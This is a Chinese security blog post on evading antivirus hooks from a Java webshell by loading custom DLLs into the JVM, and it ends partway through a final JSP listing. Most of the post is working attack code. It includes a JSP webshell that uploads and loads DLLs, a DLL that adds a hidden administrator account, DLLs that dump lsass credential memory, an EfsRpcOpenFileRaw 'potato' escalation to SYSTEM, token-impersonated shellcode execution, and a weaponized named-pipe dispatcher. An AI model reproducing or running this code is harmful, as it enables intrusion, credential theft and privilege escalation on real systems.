倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

11 Aug 2022

通过动态链接库绕过反病毒软件Hook - Break JVM

0x00 前言

通常情况下获得Java Webshell碰到数字杀毒的场景居多,在这个环境中经常会遇到无法执行命令或命令被拦截的情况,很多小伙伴遇到这个问题就劝退了,我猜测是有一套进程链的检测方式导致了命令无法执行,于是去查看Java的文档,查阅到Java能够加载动态链接库且能够执行动态链接库中的代码,本文演示如何利用Java加载动态链接库的方式实现绕过了数字杀毒的拦截,但在演示之前,需要铺垫一些基础知识,如:猜想的进程链、Windows错误代码、Java加载动态链接库常见的三种办法、Windows动态链接库、土豆提权原理、命名管道技术等。

0x01 猜想的进程链

在获取Webshell以后,一般执行命令都会调用 Runtime.exec ,当然也有其他的命令执行方式,这里不再讨论,执行的命令一般分为两种:

  • 系统自带的PE文件,后面跟上参数
  • CMD或Powershell中内置的命令

例如:dir 命令与forfiles命令,这两个命令都可以列出文件夹内的文件,但要执行 dir 需要启动 cmd.exe 或者 powershell.exe ,执行的过程中进程链就像这样:

在这个过程里,进程的链是java.exe创建了cmd.exe ,那么很容易就能发现问题,每执行一条命了都会创建一个cmd.exe 的进程。从Runtime.exec 执行命令到Windows API CreateProcess 创建cmd.exe这个进程是通过JVM翻译过来的,数字杀毒会Hook CreateProcess API达到监控拦截的目的。

而forfiles是一个PE文件,不是CMD内置的命令,所以不需要创建cmd.exe也可以执行,它的进程链会是这样:

达到了同样的目的,但是没有创建cmd.exe ,为了体验上的考量现在的大部分Webshell管理工具执行命令都是要创建cmd.exe的,那么如何让我们的操作都不创建cmd.exe呢?

其实只需要改一下原来的小马即可:

1
2
3
4
5
6
7
8
9
public static void main(String[] args) {
    try {
				// String cmdStr = "cmd.exe /c forfiles.exe /p C:\\" ;
        String cmdStr = "forfiles.exe /p C:\\" ;
        Runtime.getRuntime().exec(cmdStr);
    }catch(Exception e){
        e.printStackTrace();
    }
}

这样虽然不会创建进程,但大部分命令还是会拦截,例如:net.exe net1.exe

0x02 Windows错误代码

经常会遇到一些Windows下的工具刨出Error Code 5,到底代表什么意思?

这个Error Code 5其实是Windows的错误代码,每一个代码都代表了不同的含义。

查询错误代码的含义可以通过 net helpmsg 命令:

Visual Studio 有一个工具可以查询错误代码,名为errlookup:

有的时候Webshell管理工具并没有直接给出错误代码的含义,而是直接抛出错误代码,这种情况就能使用命令或者工具去查询,了解错误的发生到底是因为什么问题。

0x03 Java加载动态链接库常见的三种办法

Java加载动态链接库常见的有三种办法:

  • System.load / System.loadLibrary
  • Runtime.getRuntime().load
  • com.sun.glass.utils.NativeLibLoader.loadLibrary
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
private void RuntimeLoad(String path){
    Runtime.getRuntime().load(path);
}

private void SystemLoad(String path){
    System.load(path);
}

// 有些JDK版本没有这个对象,因此采用反射加载进行运行
private void NativeLoad(String path) throws Exception{
    Class Native = Class.forName("com.sun.glass.utils.NativeLibLoader");
    if(Native != null){
        java.lang.reflect.Method Load = Native.getDeclaredMethod("loadLibrary",String.class);
        Load.invoke(path);
    }
}

第三种有些JDK版本没有这个对象,因此采用反射加载进行运行。

大致流程如下:

System.loadRuntime.getRuntime**()**.load0**()**ClassLoader.loadLibraryNativeLibrary.loadnative void load*(*String name, boolean isBuiltin*)*

我实现了一个简单版本的DLL加载JSP代码,确保每一个请求都可以加载一个DLL模块到Java进程中:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
<jsp:declaration>
// 获取随机的动态链接库文件名称
private String getFileName(){
    String fileName = "";
    java.util.Random random = new java.util.Random(System.currentTimeMillis());
    String os = System.getProperty("os.name").toLowerCase();
    if (os.contains("windows")){
        fileName = "C:\\Windows\\Temp\\" + random.nextInt(10000000) + ".dll";
    }else {
        fileName = "/tmp/"+ random.nextInt(10000000) + ".so";
    }
    return fileName;
}

// JSP 声明函数中无法获取全局默认的ServletRequest对象,但ServletRequest继承java.io.InputStream,可以替代
public String UploadBase64DLL(java.io.InputStream stream) throws Exception {
    sun.misc.BASE64Decoder b = new sun.misc.BASE64Decoder();
    java.io.File file = new java.io.File(getFileName());
    java.io.FileOutputStream fos = new java.io.FileOutputStream(file);
    fos.write(b.decodeBuffer(stream));
    fos.close();
    return file.getAbsolutePath();
}

private void RuntimeLoad(String path){
    Runtime.getRuntime().load(path);
}

private void SystemLoad(String path){
    System.load(path);
}

// 有些JDK版本没有这个对象,因此采用反射加载进行运行
private void NativeLoad(String path) throws Exception{
    Class Native = Class.forName("com.sun.glass.utils.NativeLibLoader");
    if(Native != null){
        java.lang.reflect.Method Load = Native.getDeclaredMethod("loadLibrary",String.class);
        Load.invoke(path);
    }
}
</jsp:declaration>

<jsp:scriptlet>
    // 加载方式
    String method = request.getHeader("WWW-Authenticate");

    try{
        ServletInputStream stream = request.getInputStream();
      if (stream.available() == 0){
          out.println(System.getProperty("os.arch"));
          return;
      }
      String file =  UploadBase64DLL(stream);
      // 按照Header头选择加载方式
      switch (method){
          case "1":
              RuntimeLoad(file);
              break;
          case "2":
              SystemLoad(file);
              break;
          case "3":
              NativeLoad(file);
              break;
          default:
              RuntimeLoad(file);
              break;
      }
    }catch (Exception e){
        System.out.println(e.toString());
    }
</jsp:scriptlet>

0x04 Windows 动态链接库

DLL(Dynamic Link Library)文件为动态链接库文件,又称“应用程序拓展”,是软件文件类型。 在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库,即DLL文件,放置于系统中。在Windows平台下,我们使用的应用程序中的功能其实大多都很相似,窗口调用窗口的模块,分配内存调用内存管理的模块,文件操作调用IO模块,这些模块在Windows里的具体表现就是DLL文件。

在之前的文章中有简单总结过Dll的一些知识,这里就不做详细介绍了:

在Windows操作系统中,每一个进程加载一个DLL都会默认执行DLLMain函数,利用这个加载的特性我们可以在Java.exe进程中做一些敏感操作,并且这个进程是白名单、签名的。

0x05 实战绕过数字杀毒添加用户

前提条件:

  • 有一个管理员权限的Webshell
  • 编写一个添加用户的DLL

首先上传之前写好的专门用于加载DLL的JSP文件,然后编写一个添加用户的DLL文件:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <windows.h>
#include <string.h>
#include <lmaccess.h>
#include <lmerr.h>
#include <Tchar.h>
#pragma comment(lib,"netapi32.lib")

DWORD CreateAdminUserInternal(void)
{
	NET_API_STATUS rc;
	BOOL b;
	DWORD dw;

	USER_INFO_1 ud;
	LOCALGROUP_MEMBERS_INFO_0 gd;
	SID_NAME_USE snu;

	DWORD cbSid = 256;	// 256 bytes should be enough for everybody :)
	BYTE Sid[256];

	DWORD cbDomain = 256 / sizeof(TCHAR);
	TCHAR Domain[256];

	//
	// Create user
	// http://msdn.microsoft.com/en-us/library/aa370649%28v=VS.85%29.aspx
	//

	memset(&ud, 0, sizeof(ud));

	ud.usri1_name = (LPWSTR)TEXT("audit");						// username
	ud.usri1_password = (LPWSTR)TEXT("Test123456789!");				// password
	ud.usri1_priv = USER_PRIV_USER;					// cannot set USER_PRIV_ADMIN on creation
	ud.usri1_flags = UF_SCRIPT | UF_NORMAL_ACCOUNT;	// must be set
	ud.usri1_script_path = NULL;

	rc = NetUserAdd(
		NULL,			// local server
		1,				// information level
		(LPBYTE)&ud,
		NULL			// error value
	);

	if (rc != NERR_Success) {
		_tprintf(_T("NetUserAdd FAIL %d 0x%08x\r\n"), rc, rc);
		return rc;
	}

	//
	// Get user SID
	// http://msdn.microsoft.com/en-us/library/aa379159(v=vs.85).aspx
	//

	b = LookupAccountName(
		NULL,			// local server
		_T("audit"),	// account name
		Sid,			// SID
		&cbSid,			// SID size
		Domain,			// Domain
		&cbDomain,		// Domain size
		&snu			// SID_NAME_USE (enum)
	);

	if (!b) {
		dw = GetLastError();
		_tprintf(_T("LookupAccountName FAIL %d 0x%08x\r\n"), dw, dw);
		return dw;
	}

	//
	// Add user to "Administrators" local group
	// http://msdn.microsoft.com/en-us/library/aa370436%28v=VS.85%29.aspx
	//

	memset(&gd, 0, sizeof(gd));

	gd.lgrmi0_sid = (PSID)Sid;

	rc = NetLocalGroupAddMembers(
		NULL,					// local server
		_T("Administrators"),
		0,						// information level
		(LPBYTE)&gd,
		1						// only one entry
	);

	if (rc != NERR_Success) {
		_tprintf(_T("NetLocalGroupAddMembers FAIL %d 0x%08x\r\n"), rc, rc);
		return rc;
	}

	return 0;
}


BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
		CreateAdminUserInternal();
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

在DllMain函数中调用CreateAdminUserInternal实现添加管理员用户audit。将dll文件进行base64编码,发送到加载动态链接库的jsp页面,就可以绕过数字杀毒添加用户了:

发送之前:

发送之后:

至此管理员用户添加成功。

当DLL的编译架构与Java进程的位数不同,加载会失败,抛出:Can't load AMD 64-bit .dll on a IA 32-bit platform。

这个问题只需要调整DLL的编译架构就行:

同样的我们还可以调用comsvcs.dll导出的MiniDumpW转储lsass.exe进程的内存。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <TlHelp32.h>
#pragma comment( lib, "Dbghelp.lib" )

typedef HRESULT(WINAPI* _MiniDumpW)(DWORD arg1, DWORD arg2, PWCHAR cmdline);

bool EnableDebugPrivilege()
{
    HANDLE hThis = GetCurrentProcess();
    HANDLE hToken;
    OpenProcessToken(hThis, TOKEN_ADJUST_PRIVILEGES, &hToken);
    LUID luid;
    LookupPrivilegeValue(0, TEXT("seDebugPrivilege"), &luid);
    TOKEN_PRIVILEGES priv;
    priv.PrivilegeCount = 1;
    priv.Privileges[0].Luid = luid;
    priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    AdjustTokenPrivileges(hToken, false, &priv, sizeof(priv), 0, 0);
    CloseHandle(hToken);
    CloseHandle(hThis);
    return true;
}

int Dump() {
    EnableDebugPrivilege();
    WCHAR commandLine[MAX_PATH];
    _MiniDumpW MiniDumpW;
    DWORD lsassPID = 0;
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 processEntry = {};
    processEntry.dwSize = sizeof(PROCESSENTRY32);
    LPCWSTR processName = L"";
    //遍历lsass.exe 的PID
    if (Process32First(snapshot, &processEntry)) {
        while (_wcsicmp(processName, L"lsass.exe") != 0) {
            Process32Next(snapshot, &processEntry);
            processName = processEntry.szExeFile;
            lsassPID = processEntry.th32ProcessID;
        }
    }
    
    MiniDumpW = (_MiniDumpW)GetProcAddress(LoadLibrary(L"comsvcs.dll"), "MiniDumpW");
    _itow(lsassPID, commandLine, 10);
    lstrcatW(commandLine, L" C:\\Windows\\Temp\\111.sql full");
    MiniDumpW(0, 0, commandLine);
    return 0;
}

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        Dump();
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

编译成DLL文件发送过去后,我们可以看到Tomcat.exe或者Java.exe的Debug权限已经被开启:

C:\Windows\Temp目录下已经生成进程的内存转储文件。

注意:如果Tomcat是以SERVICE账户启动的,那么直接加载DLL会造成Tomcat直接崩溃无法工作,这些敏感操作的失败会引发系统的错误处理程序,最终导致Tomcat进程关闭,在实战中应根据业务的重要程度谨慎操作。

为了避免类似的风险情况,我增加了权限判断、重复转储判断:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <TlHelp32.h>
#pragma comment( lib, "Dbghelp.lib" )
#define _CRT_SECURE_NO_WARNINGS

typedef HRESULT(WINAPI* _MiniDumpW)(DWORD arg1, DWORD arg2, PWCHAR cmdline);

BOOL CheckPrivilege() {
    BOOL state;
    SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
    PSID AdministratorsGroup;
   
    state = AllocateAndInitializeSid(
        &NtAuthority,
        2,
        SECURITY_BUILTIN_DOMAIN_RID,
        DOMAIN_ALIAS_RID_ADMINS,
        SECURITY_LOCAL_SYSTEM_RID, DOMAIN_GROUP_RID_ADMINS,0, 0, 0, 0,
        &AdministratorsGroup);
    if (state)
    {
        if (!CheckTokenMembership(NULL, AdministratorsGroup, &state))
        {
            state = FALSE;
        }
        FreeSid(AdministratorsGroup);
    }

    return state;
}

BOOL EnableDebugPrivilege()
{
    
    HANDLE hThis = GetCurrentProcess();
    HANDLE hToken;
    OpenProcessToken(hThis, TOKEN_ADJUST_PRIVILEGES, &hToken);
    LUID luid;
    LookupPrivilegeValue(0, TEXT("seDebugPrivilege"), &luid);
    TOKEN_PRIVILEGES priv;
    priv.PrivilegeCount = 1;
    priv.Privileges[0].Luid = luid;
    priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    BOOL isEnabiled = AdjustTokenPrivileges(hToken, false, &priv, sizeof(priv), 0, 0);
    if (isEnabiled) {
        CloseHandle(hToken);
        CloseHandle(hThis);
        return TRUE;
    }
    return FALSE;
}

DWORD GetLsassPID() {
    DWORD lsassPID = 0;
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 processEntry = {};
    processEntry.dwSize = sizeof(PROCESSENTRY32);
    LPCWSTR processName = L"";
    //遍历lsass.exe 的PID
    if (Process32First(snapshot, &processEntry)) {
        while (_wcsicmp(processName, L"lsass.exe") != 0) {
            Process32Next(snapshot, &processEntry);
            processName = processEntry.szExeFile;
            lsassPID = processEntry.th32ProcessID;
        }
    }
    return lsassPID;
}

BOOL CheckFileExists(PWCHAR file) {
    WIN32_FIND_DATA FindFileData;
    HANDLE hFind = FindFirstFileEx(file, FindExInfoStandard, &FindFileData,FindExSearchNameMatch, NULL, 0);
    if (hFind == INVALID_HANDLE_VALUE)
    {
        return FALSE;
    }
    return TRUE;
}
int Dump() {
    WCHAR commandLine[MAX_PATH];
    WCHAR DumpFile[] = L"C:\\Windows\\Temp\\111.sql";
    _MiniDumpW MiniDumpW;
    DWORD lsassPID = 0;

    if (!CheckPrivilege()) {
        return -1;
    }

    if (!EnableDebugPrivilege()) {
        return -1;
    }
   

    if (CheckFileExists(DumpFile)) {
        return 0;
    }

    lsassPID = GetLsassPID();
    MiniDumpW = (_MiniDumpW)GetProcAddress(LoadLibrary(L"comsvcs.dll"), "MiniDumpW");
    _itow_s(lsassPID, commandLine, 10);
    lstrcatW(commandLine, L" ");
    lstrcatW(commandLine, DumpFile);
    lstrcatW(commandLine, L" full");
    MiniDumpW(0, 0, commandLine);
    return 0;
}

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        Dump();
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

首先判断权限是否是管理员或者SYSTEM权限,然后尝试启用SE_DEBUG权限,最后才进行转储,代码我上传到了Github仓库:https://github.com/Rvn0xsy/j2osWin

0x06 将Java进程进行权限提升

Tomcat 有三种权限运行模式:

● Local Service ● Network Service ● Users 默认安装好的Tomcat会自动运行在Local Service账户下,意味着权限很低,如果目标安装了数字杀毒,就更加难以实现提权。

解决办法:

  1. 利用System.LoadLibrary技术在Tomcat本身进程种执行任意代码
  2. 利用执行任意代码的特点来进行土豆提权
  3. 利用模拟Token创建执行Shellcode的线程,所有的交互通过Webshell与系统管道通信实现

0x06.1 EfsRpcOpenFileRaw 提权

土豆提权的原理:在Windows操作系统中,如果当前账户是Local Service/Network Service,那么大部分情况下会有一个令牌模拟的权限,当高权限连接到Service账户开启的服务时,Service账户就可以通过令牌模拟获取客户端的权限来执行任意代码。

注意:令牌模拟仅是将当前线程的Token进行临时替换为客户端的令牌,其次,土豆提权仅限于本地操作系统才能工作,域内一般发起请求的都是域账户,或有同一账户体系的可信网络内。

土豆提权中有一个关于MS-EFSR RPC接口的利用方式,通过创建一个命名管道,然后调用EfsRpcOpenFileRaw让SYSTEM特权账户连接到命名管道实现提权。@zcgonvh 公开了一个C#的利用代码,并且我还请教了他,这里感谢头像哥的解答。

创建命名管道部分实现代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
if (!InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION))
	{
		wprintf(L"InitializeSecurityDescriptor() failed. Error: %d - ", GetLastError());
		LocalFree(pwszPipeName);
		return;
	}
	// 设置安全描述符
	if (!ConvertStringSecurityDescriptorToSecurityDescriptorW(L"D:(A;OICI;GA;;;WD)", 1, &((&sa)->lpSecurityDescriptor), NULL))
	{
		wprintf(L"ConvertStringSecurityDescriptorToSecurityDescriptor() failed. Error: %d\n", GetLastError());
		LocalFree(pwszPipeName);
		return;
	}
	// 创建管道
	hPipe = CreateNamedPipe(pwszPipeName, PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED, PIPE_TYPE_BYTE | PIPE_WAIT, 10, 2048, 2048, 0, &sa);
	if (hPipe == INVALID_HANDLE_VALUE) {
		return;
	}
	
	wprintf(L"[*] NamedPipe '%ls' listening...\n", pwszPipeName);
	// 一直等待客户端连接,方便持续调用
	for (;;) {
		if (ConnectNamedPipe(hPipe, NULL) > 0) {
			wprintf(L"[+] A client connected!\n");
			// 模拟客户端Token
			if (!ImpersonateNamedPipeClient(hPipe)) {
				// 如果无法模拟就断开连接
				DisconnectNamedPipe(hPipe);
				continue;
			}
			GetUserName(szUser, &dwSize);
			wprintf(L"[+] Impersonating dummy :) : %s\n\n\n\n", szUser);
			// 将特权Token赋值到全局变量中
			OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &g_hSystemToken);
			if (g_ShellcodeBuffer != NULL && g_dwShellcodeSize != 0) {
				// 如果Shellcode不为空,就开始创建线程执行
				ExecuteShellCodeWithToken(g_hSystemToken);
			}
			DisconnectNamedPipe(hPipe);
		}
	}

触发RPC连接实现代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
  RPC_STATUS status;
	RPC_WSTR pszStringBinding;
	RPC_BINDING_HANDLE BindingHandle;

	status = RpcStringBindingCompose(
		NULL,
		(RPC_WSTR)L"ncacn_np",
		(RPC_WSTR)L"\\\\127.0.0.1",
		(RPC_WSTR)L"\\pipe\\lsass",
		NULL,
		&pszStringBinding
	);
	
	status = RpcBindingFromStringBinding(pszStringBinding, &BindingHandle);
	
	status = RpcStringFree(&pszStringBinding);
	
	RpcTryExcept{
		PVOID pContent;
		LPWSTR pwszFileName;
		pwszFileName = (LPWSTR)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));
		StringCchPrintf(pwszFileName, MAX_PATH, L"\\\\127.0.0.1/pipe/random\\C$\\x");

		long result;
		wprintf(L"[*] Invoking EfsRpcOpenFileRaw with target path: %ws\r\n", pwszFileName);
		result = EfsRpcOpenFileRaw(
			BindingHandle,
			&pContent,
			pwszFileName,
			0
		);
		
		status = RpcBindingFree(
			&BindingHandle                   // Reference to the opened binding handle
		);
		LocalFree(pwszFileName);
	}
		RpcExcept(1)
	{
		wprintf(L"RpcExcetionCode: %d\n", RpcExceptionCode());
		return FALSE;
	}RpcEndExcept

每次调用EfsRpcOpenFileRaw都会触发SYSTEM进程连接命名管道,然后再通过ImpersonateNamedPipeClient模拟SYSTEM进程的权限执行代码,当ImpersonateNamedPipeClient函数调用成功后,当前线程的Token其实已经变成了SYSTEM账户的,特权代码执行完成后还可以用RevertToSelf恢复到原来的线程Token。

在我实现成功后遇到数字杀毒会拦截提权的行为,其实很多土豆提权成功后,会复制一份Token去创建进程,一般调用CreateProcessWithToken和CreateProcessAsUser比较多,被拦截的时候会是这样:

因此常规的办法是不行了,于是请教了头像哥,他的回复与我想的一样,用高权限的Token去跑一个特权线程,利用这个特权线程去执行Shellcode。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
void ExecuteShellCodeWithToken(HANDLE hToken) {
	HANDLE hThread = INVALID_HANDLE_VALUE;
	DWORD dwThreadId = 0;
	HANDLE hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE | HEAP_ZERO_MEMORY, 0, 0);
	PVOID Mptr = HeapAlloc(hHeap, 0, g_dwShellcodeSize);
	RtlCopyMemory(Mptr, g_ShellcodeBuffer, g_dwShellcodeSize);
	hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)Mptr, NULL, CREATE_SUSPENDED, &dwThreadId);
	SetThreadToken(&hThread, hToken);
	ResumeThread(hThread);
}

思路如下:

  • 将Shellcode拷贝到可执行堆内存块中
  • 创建一个暂停的线程
  • 将特权Token设置覆盖掉暂停的线程Token
  • 恢复线程执行

成功执行Shellcode后的样子是这样的:

上线的User是SYSTEM,但是whoami是Local Service,这是因为当前线程是SYSTEM的,获取用户名的GetUserName API是以当前线程Token作为权限查询的,而创建进程时并不会直接复制模拟的特权Token,这个时候只需要使用CobaltStrike的进程注入到其他SYSTEM进程即可。解决完Local Service提权到SYSTEM被数字杀毒拦截的问题后,那就要思考如何做武器化了,因为在实战中不可能上传一个个DLL文件,我需要把所有的代码写到一个DLL中,通过控制JSP Webshell的参数来达到各种功能的调用。

0x07 武器化的思路与实现

所有的代码跑在Tomcat的进程里的,而且只能执行DLLMain,那么怎么通过某种技术可以使得发送一个Web请求就执行DLL中的一些功能呢?

这个问题其实并没有难倒我,最简单的办法是用文件传递参数,每个Web请求过来后往文件中写内容,然后DLLMain里写一个循环读取也可以,但是文件的读写容易被干扰,并且涉及到线程的控制,稍微干扰一下就产生读写问题,容错率不高。

最终我采用了管道的形式,在DLLMain被执行时就创建一个命名管道,每个请求会连接管道往里写入16进制的单字节指令。

部分代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
for (;;) {
        if (ConnectNamedPipe(hPipe, NULL) > 0) {
            CHAR szBuffer[BUFF_SIZE];
            BYTE  bMethod; // 操作方法
            ZeroMemory(szBuffer, BUFF_SIZE);
            wprintf(L"[+] Client Connected...\n");
            // 读取操作方法
            ReadFile(hPipe, &bMethod, 1, &dwLen, NULL);
            switch (bMethod)
            {
            case METHOD_WMI_CREATE_PROCESS:
                /// <summary>
                /// 调用WMIC创建进程,无回显
                /// 参数:process
                /// </summary>
                /// <param name=""></param>
                /// <returns></returns>
                ReadFile(hPipe, szBuffer, BUFF_SIZE, &dwLen, NULL);
                CheckSuccessAndSendMsg(WMICCreateProcess(char2wchar(szBuffer)), hPipe);
                break;
            case METHOD_MINIDUMP_LSASS:
                /// <summary>
                /// 高权限的情况下转储Lsass进程内存
                /// 参数:dump
                /// </summary>
                /// <param name=""></param>
                /// <returns></returns>
                CheckSuccessAndSendMsg(MiniDumpLsass(), hPipe);
                break;
            case METHOD_ADD_USER:
                /// <summary>
                /// 高权限的情况下添加用户
                /// 参数:user
                /// </summary>
                /// <param name=""></param>
                /// <returns></returns>
                CheckSuccessAndSendMsg(CreateAdminUserInternal(), hPipe);
                break;
            case METHOD_SHELL_CODE_LOADE:
                /// <summary>
                /// 执行Shellcode
                /// 参数:code
                /// </summary>
                /// <param name=""></param>
                /// <returns></returns>
                ReadFile(hPipe, szBuffer, BUFF_SIZE, &dwLen, NULL);
                CheckSuccessAndSendMsg(ExecuteShellCode(szBuffer, dwLen), hPipe);
                break;
            case METHOD_GETSYSTEM:
                /// <summary>
                /// 创建命名管道
                /// 参数:system
                /// </summary>
                /// <param name=""></param>
                /// <returns></returns>
                CheckSuccessAndSendMsg(Service2System(), hPipe);
                break;
            case METHOD_SYSTEM_EXECUTE:
                /// <summary>
                /// 触发RPC连接提权管道
                /// 参数:system-run
                /// </summary>
                /// <param name=""></param>
                /// <returns></returns>
                CheckSuccessAndSendMsg(Execute(), hPipe);
                break;
            case METHOD_SET_SYSTEM_SHELLCODE:
                /// <summary>
                /// 设置全局Shellcode
                /// 参数:system-code
                /// </summary>
                /// <param name=""></param>
                /// <returns></returns>
                ZeroMemory(szBuffer, BUFF_SIZE);
                ReadFile(hPipe, szBuffer, BUFF_SIZE, &dwLen, NULL);
                g_ShellcodeBuffer = new char[dwLen];
                RtlCopyMemory(g_ShellcodeBuffer, szBuffer, dwLen);
                g_dwShellcodeSize = dwLen;
                break;
            case METHOD_UNSET_SYSTEM_SHELLCODE:
                /// <summary>
                /// 清空全局Shellcode
                /// 参数:system-uncode
                /// </summary>
                /// <param name=""></param>
                /// <returns></returns>
                g_dwShellcodeSize = 0;
                g_ShellcodeBuffer = NULL;
                break;
                
            default:

                break;
            }
            // 关闭连接
            DisconnectNamedPipe(hPipe);
        }

METHOD开头的常量代表了不同的功能:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
#define PIPE_NAME L"\\\\.\\pipe\\josPipe"
#define BUFF_SIZE 1024
#define METHOD_WMI_CREATE_PROCESS 0x00 // WMIC 创建进程
#define METHOD_SHELL_CODE_LOADE 0x01  // SHELLCODE 加载
#define METHOD_MINIDUMP_LSASS 0x02   // 转储Lsass.exe
#define METHOD_ADD_USER 0x03  // 添加用户
#define METHOD_GETSYSTEM 0x04  // 利用EFS获取SYSTEM的Token
#define METHOD_SYSTEM_EXECUTE 0x05 // 以SYSTEM权限执行命令
#define METHOD_SET_SYSTEM_SHELLCODE 0x07 // 设置Shellcode
#define METHOD_UNSET_SYSTEM_SHELLCODE 0x08 // 取消设置Shellcode

Java Webshell的改造代码如下:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
<%@ page import="java.io.RandomAccessFile" %>
<%!
    private String getFileName(){
        String fileName = "";
        java.util.Random random = new java.util.Random(System.currentTimeMillis());
        String os = System.getProperty("os.name").toLowerCase();
        if (os.contains("windows")){
            fileName = "C:\\Windows\\Temp\\" + random.nextInt(10000000) + ".dll";
        }else {
            fileName = "/tmp/"+ random.nextInt(10000000) + ".so";
        }
        return fileName;
    }

    public String UploadBase64DLL(java.io.InputStream stream) throws Exception {
        sun.misc.BASE64Decoder b = new sun.misc.BASE64Decoder();
        java.io.File file = new java.io.File(getFileName());
        java.io.FileOutputStream fos = new java.io.FileOutputStream(file);
        fos.write(b.decodeBuffer(stream));
